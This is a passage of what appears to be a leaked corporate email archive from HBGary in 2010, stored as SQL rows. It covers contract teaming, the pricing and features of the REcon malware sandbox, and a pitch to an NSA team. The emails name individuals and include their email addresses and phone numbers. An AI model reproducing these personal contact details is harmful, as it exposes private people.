here:\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nhttp://www.google.com/search?client=safari&amp;rls=en&amp;q=Alliant+contract+award&amp;ie=UTF-8&amp;oe=UTF-8\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn the list the only ones I know of that have a native\r\ncapability in this area are Mantech and SRA, can you look at the list and tell\r\nme who I am missing.  We are looking to team with TASC/MacAulay-Brown.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nBetween this, the DARPA BAA and developing a more tactical\r\nIR service offering Ted and I will be busy.  For all of these we are going\r\nto need some writing assistance for content but Ted and I will do most of it.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\n&quot;Gutierrez,\r\nDaniel L (TASC Inc)&quot; &lt;daniel.gutierrez@TASC.COM&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nFebruary\r\n2, 2010 4:12:47 PM PST\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\n&lt;aaron@hbgary.com&gt;, &lt;ted@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nFw: Alliant AF OSI RFP Guardian Requirement\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Henderson, Van B (TASC Inc) \r\nTo: Gutierrez, Daniel L (TASC Inc) \r\nSent: Thu Jan 28 14:08:55 2010\r\nSubject: FW: Alliant AF OSI RFP Guardian Requirement \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIf interested, I suspect the big question will be how do we get\r\nonto Alliant, given TASC does not hold that contract vehicle.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nLet me know if interested………    I still get this\r\ninfo from NG until they figure out not to send to me.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n Van\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nVan Henderson\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7334,'aaron_hbgary_com/7334.html'),(4880,'2010-04-03','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297003131.M341208P3547Q4880.eml','all@hbgary.com,\"Karen Burke\" <karenmaryburke@yahoo.com>','Software Exploitation with REcon, FINAL DRAFT for review','Team,\r\n \r\nAttached is the whitepaper final draft.  We are planning on putting this up on Monday.  Please take a final pass.\r\n \r\n-Greg\r\n',1335,'aaron_hbgary_com/1335.html'),(4881,'2010-04-04','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297003132.M950217P3547Q4881.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Customer demand for a standalone REcon product','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nSee email chain for more info about the emerging standalone REcon\r\nproduct.&nbsp; The NSA Blue Team (Responder customer) wants a demo in 3 weeks.&nbsp; We\r\ncan leverage that relationship into ANO and other NSA organizations.&nbsp; Blue Team\r\nis actively looking for a sandbox solution and want a solution in place by\r\nJuly/August.&nbsp; REcon as part of Responder demos well, but I want Sac to pull\r\ntogether a demo of the scalable, automated system.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Sunday, April 04, 2010 11:12 AM\r\nTo: \'Greg Hoglund\'\r\nCc: \'Penny Leavy-Hoglund\'; \'Rich Cummings\'; \'shawn@hbgary.com\'\r\nSubject: RE: Customer demand for a standalone REcon product\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGreg,\r\n\r\n&nbsp;\r\n\r\nThanks for the review of comparing REcon to the sandbox\r\ncompetition.&nbsp; It is going to be fun selling against them.&nbsp; Off the\r\ntop of my head I see the following advantages:\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nREcon provides lowest level data &#8211; all instructions, all data\r\nused or generated\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nREcon can recover encrypted data in clear text\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nREcon scales with no upward limit with a fully automated system.\r\nWe can outfit whatever processing size the customer needs.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe also offer a single user version with manual interface with\r\nResponder. (I like very much that REcon within Responder is one binary at a\r\ntime and doesn&#8217;t scale.&nbsp; It gives customers a taste for the bigger, more\r\nexpensive, scalable, standalone REcon. I also like that the standalone REcon\r\nrequires Responder to read the journal file output.)\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHBGary analysis combines static and dynamic analysis in one\r\nframework\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHBGary can do REcon and DDNA analysis within the same dynamic\r\nanalysis run\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCompetition has nothing like our r/e capabilities\r\n\r\n&nbsp;\r\n\r\nPlaces where HBGary needs to &#8220;catch up&#8221; to competition (but will\r\nvery soon)\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWeb interface option\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAbility to demo fully automated version (today I&#8217;ve only seen\r\nthe Responder UI version)\r\n\r\no&nbsp;&nbsp; Do\r\nyou have a Standalone REcon setup in Sacramento that we can demo via webex?\r\n\r\n&nbsp;\r\n\r\nJust for clarification, is the ESX architecture a thing of the\r\npast?&nbsp; Are we 100% using the Gateway machines?&nbsp; In other words, am I\r\nto pitch only the Gateway machine approach and not the ESX server approach?\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Saturday, April 03, 2010 2:39 PM\r\nTo: Bob Slapnik\r\nCc: Penny Leavy-Hoglund; Rich Cummings; shawn@hbgary.com\r\nSubject: Re: Customer demand for a standalone REcon product\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBob, \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nYou need to make it very clear to these customers that HBGary\'s\r\nsolution will produce vast amounts of&nbsp;functional data that neither CW or\r\nNorman will be able to compete with.&nbsp; If they need convincing of that,\r\nemail them the REcon whitepaper.&nbsp; Tell them we can collect down to the\r\ninstruction, if they so desire.&nbsp; If they don\'t think they need such low\r\nlevel data, tell them that we can recover clear-text from otherwise encrypted\r\ndata because of our low level approach.&nbsp; Also, make it clear we can\r\nintegrate the data in any way to suit their statistical needs, custom to their\r\nintegration needs.&nbsp; We will deliver them the source code to our C#\r\napplication that manages the feed farm and statistics, so there is nothing\r\nstanding in the way between them and success.&nbsp; They can chop it up and\r\nmanage it any way they want.&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOh, and before you piss all over the fact we use $500\r\ngateway machines, wake up to the fact that google runs on the same.&nbsp; These\r\nso-called shitty $500 computers have more power than $5000 dollars would have\r\nbought you 3 years ago.&nbsp; Also, because they are cheap, they scale on a\r\nbudget.&nbsp; If you start thinking about solutions-engineering with a\r\nreal-world budget, you will realize there simply is no better choice than the\r\nway we are doing it now.&nbsp; Any other choice would be throwing good money\r\naway and probably getting poorer performance and thru-put.&nbsp; If you really\r\nthink the customer won\'t buy because of the hardware, then triple the price for\r\nthe same exact through-put and HBGary will unbolt the motherboards and drop\r\nthem into 1-U rackspace boxes and spray paint them all bright red so it will\r\nshow off better to whoever the customer is planning on walking through their\r\ndata facility - since how it looks is obviously more important than actually\r\nanalyzing malware.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Sat, Apr 3, 2010 at 9:18 AM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nNorman and CWSandbox are being considered at Booz, NSA\r\nand NG.&nbsp; Purchases haven&#8217;t been made yet so it biz we can win.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny\r\nLeavy-Hoglund [mailto:penny@hbgary.com]\r\n\r\nSent: Friday, April 02, 2010 2:20 PM\r\nTo: \'Bob Slapnik\'; \'Greg Hoglund\'; \'Rich Cummings\'\r\nSubject: RE: Customer demand for a standalone REcon product\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWhy aren&#8217;t they using Norman or CWSandbox?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob\r\nSlapnik [mailto:bob@hbgary.com]\r\n\r\nSent: Friday, April 02, 2010 7:06 AM\r\nTo: \'Greg Hoglund\'; \'Penny Leavy-Hoglund\'; \'Rich Cummings\'\r\nSubject: Customer demand for a standalone REcon product\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGreg,\r\nPenny and Rich,\r\n\r\n&nbsp;\r\n\r\nI&#8217;ve\r\nrun into multiple instances where customers/prospects want a standalone REcon\r\nproduct.&nbsp; I see us going forward with a single user REcon as part of\r\nResponder and where you must have Responder to consume the REcon journal\r\nfile.&nbsp; But in addition, we need a standalone, SCALABLE REcon product.\r\n\r\n&nbsp;\r\n\r\nHere\r\nare some features that Standalone REcon would need:\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Has its own licensing scheme\r\n\r\no&nbsp;&nbsp; Licensing\r\nhas a way to that we can charge more depending on how many concurrent REcon\r\ninstances they want to run\r\n\r\no&nbsp;&nbsp; Some\r\ncustomer want to process lots of malware so will need to run REcon in parallel\r\nor on fast gear\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A command line interface so people can run it\r\nprogrammatically\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Its output in an open (non-proprietary) format for easy\r\nintegration into other technologies\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Configured to run with or without memory analysis\r\n\r\no&nbsp;&nbsp; Some\r\npeople want it for thorough malware analysis so combining runtime data with\r\nWPMA data would be great\r\n\r\no&nbsp;&nbsp; Some\r\npeople want to run it as a network in-line device so for speed (minimizing the\r\ntime) they will want to run the malware and just use the journal file info &#8211;\r\nnot enough time to run WPMA.&nbsp; It would be useful to have DDNA operate on\r\nthe runtime journal file info.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Some customers may want a web interface.\r\n\r\n&nbsp;\r\n\r\nI\r\nhave no idea when this could fit into the development schedule or if you would\r\nrequire a customer to fund its development.&nbsp; Purpose of this email is to\r\ncommunicate what I&#8217;ve seen in selling situations.&nbsp; The setup I describe\r\nwould also help us compete more directly with Norman and CWSandbox.\r\n\r\n&nbsp;\r\n\r\nBob\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNo virus found in this incoming message. \r\n\r\n\r\n\r\n\r\nChecked by AVG - www.avg.com\r\n\r\n\r\n\r\nVersion: 9.0.800 / Virus\r\nDatabase: 271.1.1/2785 - Release Date: 04/02/10 02:32:00 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.800 / Virus Database: 271.1.1/2785 - Release Date: 04/03/10\r\n02:32:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1065,'aaron_hbgary_com/1065.html'),(4882,'2010-04-04','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297003133.M219645P3547Q4882.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Customer demand for a standalone REcon product','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nNot sure if I&#8217;d already sent you this email about the malware\r\nfeed processor.&nbsp; Looks like we have enough info to write the proposal.&nbsp; Just\r\nneed to pull it together.&nbsp; The feed processor can do just REcon, just DDNA or\r\ndo both on the same runtime pass.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Friday, April 02, 2010 11:08 AM\r\nTo: Bob Slapnik\r\nCc: Penny Leavy-Hoglund; Rich Cummings\r\nSubject: Re: Customer demand for a standalone REcon product\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBob,\r\n\r\n\r\n\r\n\r\n\r\nWe can set this up for a customer on a one-off basis\r\ntoday.&nbsp; We need to bill them for services around the deployment.&nbsp; A\r\ndeployment will be around 2 weeks including integration work with their\r\nexisting SQL or with a stand-alone SQL.&nbsp; If they want a web interface we\r\ncan bill them for the creation of that as well.&nbsp; We already use a\r\nstand-alone C# application called Stalker for this, which is very good as long\r\nas the user is on the same network as the SQL server, and VPN is an option with\r\nthat.&nbsp; I would also discuss with Penny what the licensing cost is for\r\nthis.&nbsp; We can process about 1,500 malware per 24 hour period per node in\r\nthe farm, and this scales linearly.&nbsp; I would put together a package\r\nsomething like this:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDaily Capacity: 60,000 malware (40 nodes)\r\n\r\n\r\n\r\n\r\n\r\nHardware cost for node farm: $20,000\r\n\r\n\r\n\r\n\r\n\r\nSQL server cost: $1500\r\n\r\n\r\n\r\n\r\n\r\nBilling for setup and integration: 80 hours @ $400.00/hr\r\n($32,000)\r\n\r\n\r\n\r\n\r\n\r\nLicensing for 40 REcon stand-alone nodes, including stalker\r\nfront-end for mgmt, searching, &amp; statistics: $100,000 \r\n\r\n\r\n\r\n\r\n\r\nYearly maintenance: ??\r\n\r\n\r\n\r\n\r\n\r\nOptional: Subscription to HBGary\'s malware feed, $50,000 /\r\nyear \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nGo sell it.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Fri, Apr 2, 2010 at 7:06 AM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nGreg,\r\nPenny and Rich,\r\n\r\n&nbsp;\r\n\r\nI&#8217;ve\r\nrun into multiple instances where customers/prospects want a standalone REcon\r\nproduct.&nbsp; I see us going forward with a single user REcon as part of\r\nResponder and where you must have Responder to consume the REcon journal\r\nfile.&nbsp; But in addition, we need a standalone, SCALABLE REcon product.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nREcon can be \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHere\r\nare some features that Standalone REcon would need:\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Has its own licensing scheme\r\n\r\no&nbsp;&nbsp; Licensing\r\nhas a way to that we can charge more depending on how many concurrent REcon\r\ninstances they want to run\r\n\r\no&nbsp;&nbsp; Some\r\ncustomer want to process lots of malware so will need to run REcon in parallel\r\nor on fast gear\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A command line interface so people can run it\r\nprogrammatically\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Its output in an open (non-proprietary) format for\r\neasy integration into other technologies\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Configured to run with or without memory analysis\r\n\r\no&nbsp;&nbsp; Some\r\npeople want it for thorough malware analysis so combining runtime data with\r\nWPMA data would be great\r\n\r\no&nbsp;&nbsp; Some\r\npeople want to run it as a network in-line device so for speed (minimizing the\r\ntime) they will want to run the malware and just use the journal file info &#8211;\r\nnot enough time to run WPMA.&nbsp; It would be useful to have DDNA operate on\r\nthe runtime journal file info.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Some customers may want a web interface.\r\n\r\n&nbsp;\r\n\r\nI\r\nhave no idea when this could fit into the development schedule or if you would\r\nrequire a customer to fund its development.&nbsp; Purpose of this email is to\r\ncommunicate what I&#8217;ve seen in selling situations.&nbsp; The setup I describe\r\nwould also help us compete more directly with Norman and CWSandbox.\r\n\r\n&nbsp;\r\n\r\nBob\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.791 / Virus Database: 271.1.1/2783 - Release Date: 04/01/10\r\n02:35:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9071,'aaron_hbgary_com/9071.html'),(4883,'2010-04-04','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297003133.M525984P3547Q4883.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: HBGary for Scalable Binary Sandbox Analysis','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nHere is an email I sent to NSA\r\nBlue Team.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Sunday, April 04, 2010 12:47 PM\r\nTo: \'Nathaniel I. Gray\'; \'Scott K. Brown\'; \'Parkes, Harley (CORP)\'\r\nSubject: HBGary for Scalable Binary Sandbox Analysis\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNathaniel, Scott and Harley,\r\n\r\n&nbsp;\r\n\r\nI had a phone conversation with Nathaniel on Friday about\r\nHBGary&#8217;s REcon for binary sandbox analysis, and he asked me to write this email\r\nsummarizing that conversation.&nbsp; He said the Blue Team is actively looking\r\nfor a sandbox system for binary runtime analysis.&nbsp; HBGary requests that\r\nyou consider REcon to fill those needs.&nbsp; \r\n\r\n&nbsp;\r\n\r\nNathaniel described two primary use cases:&nbsp; (1) Triage\r\nanalysis in the field and (2) high volume analysis at the home site.&nbsp;\r\nBelow is a transcription of my notes.&nbsp; (Nathaniel, please clarify any\r\ndetails that I may have missed.)\r\n\r\n&nbsp;\r\n\r\nYou are probably familiar with the REcon module that comes\r\nwith Responder 2.0.&nbsp; The capabilities described below are the same REcon\r\nruntime engine, but architected for automated, scalable binary processing\r\nthroughput.&nbsp; HBGary uses this scalable architecture in our quality assurance\r\nlab &#8211; we are now offering it as commercial product for volume binary runtime\r\nanalysis.\r\n\r\n&nbsp;\r\n\r\nUSE CASE #1 &#8211; TRIAGE ANALYSIS IN THE FIELD\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nStart with no knowledge of computers being\r\ncompromised or not\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDeploy Digital DNA (DDNA) within the Blue Scope\r\nframework to host endpoints looking for indicators of compromise\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBinaries with DDNA scores over a certain score\r\nthreshold will be pulled for further analysis\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPulled binaries are loaded into REcon for\r\nautomated runtime analysis.&nbsp; (This is the same architecture as Use Case #2\r\nbelow but only 1-2 computers to match the processing power needed. Nathaniel\r\nsaid this would be around 2,000 binaries per day.)\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nLow level data generated by REcon is analyzed\r\nand reported.&nbsp; Binaries verified as malware are flagged for further analysis.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPull full memory image of endpoints verified to\r\nhave malware.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nUse Responder Pro for memory forensics and\r\nmalware reverse engineering.&nbsp; Learn more about the threats.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nNew knowledge gained about threats are plugged into\r\nBlue Scope and/or the HBGary Customer Genome to find other instances or\r\nvariants of the threat.&nbsp; (Customer Genome is a new way for you to create\r\nyour own DDNA Traits.&nbsp; HBGary is also releasing a capability to search\r\nlive memory, RAM images or disk for compromise indicators defined by you such\r\nas strings, registry, mutex, filenames, paths, etc.)\r\n\r\n&nbsp;\r\n\r\nUSE CASE #2 &#8211; HIGH VOLUME ANALYSIS AT THE HOME SITE\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nStarting point is tens of thousands of binary\r\nsamples\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nScalable architecture of inexpensive computers\r\nto match the processing power needed for the binary volume.&nbsp; HBGary\r\nsoftware manages the computer farm.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nEach binary is executed inside a vm\r\nsandbox.&nbsp; \r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nYou configure if the analysis is to include\r\nREcon and DDNA or just one of them.&nbsp; Runtime data is collected by REcon.&nbsp;\r\nThen memory is imaged and analyzed with DDNA.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nLow level data collected by REcon and DDNA\r\nanalysis is put into an SQL database and analyzed according to your\r\nspecifications.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAutomated reports are generated, formatted to\r\nyour specifications.\r\n\r\n&nbsp;\r\n\r\nADVANTAGES OF HBGARY RUNTIME ANALYSIS AS COMPARED TO OTHER\r\nAPPROACHES\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nREcon provides lowest level data collected as\r\nCPU executes the binary &#8211; all instructions, all data used or generated\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nREcon can recover encrypted data in clear text\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHBGary solution scales with no upward limit with\r\na fully automated system. We can outfit whatever processing size the customer\r\nneeds.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHBGary can do REcon and DDNA analysis within the\r\nsame dynamic analysis run\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHBGary analysis combines static and dynamic\r\nanalysis of binaries in one framework\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCompetition has no binary reverse engineering\r\ncapabilities\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCompetition has no memory forensics capabilities\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHBGary&#8217;s solution fits seamlessly with DDNA for\r\nBlueScope and Responder Pro\r\n\r\n&nbsp;\r\n\r\nNathaniel said he would like to schedule a demonstration in\r\nabout 3 weeks, so I am thinking that would be the week of April 19.&nbsp;\r\nPlease let me know when you would like to see the demo.\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp;\r\nHBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',114,'aaron_hbgary_com/114.html'),(4884,'2010-04-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003133.M758718P3547Q4884.eml','\"Ted Vera\" <ted@hbgary.com>','Split keyboard on both sides of ipad','I think this design would work effectively for those of us that have\r\ngotten used to thumb typing.\r\n\r\n From my iPhone\r\n',14570,'aaron_hbgary_com/14570.html'),(4885,'2010-04-05','\"Erik Swan\" <info@splunk.com>','/aaron@hbgary.com/new/1297003133.M967997P3547Q4885.eml','aaron@hbgary.com','Splunk 4.1 Is Here! Now See All Your Live Data In Real Time','\r\n\r\n \r\n \r\n    \r\n   Splunk \r\n    \r\n      body {\r\n      	background-color: #EEEEEE;\r\n      	margin: 0;\r\n      	padding: 0;\r\n      }\r\n      p a {\r\n      	color: #2982A7;\r\n      	text-decoration: none;\r\n      }\r\n      td.permission {\r\n      	padding: 8px 0 8px 0;\r\n      }\r\n      td.date {\r\n      	padding: 0 0 4px 0;\r\n      }\r\n      td.permission p {\r\n      	font-family: Arial;\r\n      	font-size: 11px;\r\n      	font-weight: normal;\r\n      	font-style: italic;\r\n      	color: #151515;\r\n      	text-align: center;\r\n      }\r\n      td.permission a {\r\n      	color: #9f9862;\r\n      	text-decoration: none;\r\n      }\r\n    \r\n      table.bg {\r\n      	background-color: #ffffff;\r\n      }\r\n      table.intro td {\r\n      	height: 10px;\r\n      	border-bottom: 1px solid #eeeeee;\r\n      }\r\n      \r\n       table.header td {\r\n      	height: 10px;\r\n      	border-bottom: 1px solid #d5e0e1;\r\n      	border-top: 10px solid #111;\r\n      }\r\n      \r\n      table.header td p.big {\r\n      font-family:arial;\r\n      font-size:24px;\r\n      font-weight:normal;\r\n      font-style: normal;\r\n      padding:0 115px 0 15px;\r\n      margin-top: 0px;\r\n      }\r\n      \r\n      \r\n      \r\n      table.intro td p {\r\n      	font-family: Arial, Helvetica, sans-serif;\r\n      	font-size: 12px;\r\n      	font-weight: normal;\r\n      	color: #555555;\r\n      	padding:0 15px 0 15px;\r\n      }\r\n   \r\n      table.header td h1 {\r\n      	font-family: \'Futura\', Arial;\r\n      	font-size: 24px;\r\n      	font-weight: normal;\r\n      	color: #9f9862;\r\n      	display: inline;\r\n      	margin: 0 0 0 6px;\r\n      	padding: 0;\r\n      	text-transform: uppercase;\r\n      }\r\n      \r\n      table.header td h2 {\r\n		font-family: Helvetica, Arial, sans-serif;\r\n      	font-size: 28px;\r\n      	font-weight: normal;\r\n      	color: #111111;\r\n      	margin: 0 0 10px 0;\r\n      	padding: 0 0 0 15px;\r\n      	}\r\n      	 table.intro td h2 {\r\n		font-family: Helvetica, Arial, sans-serif;\r\n      	font-size: 28px;\r\n      	font-weight: normal;\r\n      	color: #111111;\r\n      	margin: 0 0 10px 0;\r\n      	padding: 0 0 0 15px;\r\n      	}\r\n      table.header td h3 {\r\n      	font-family: Arial, Arial;\r\n      	font-size: 12px;\r\n      	font-weight: 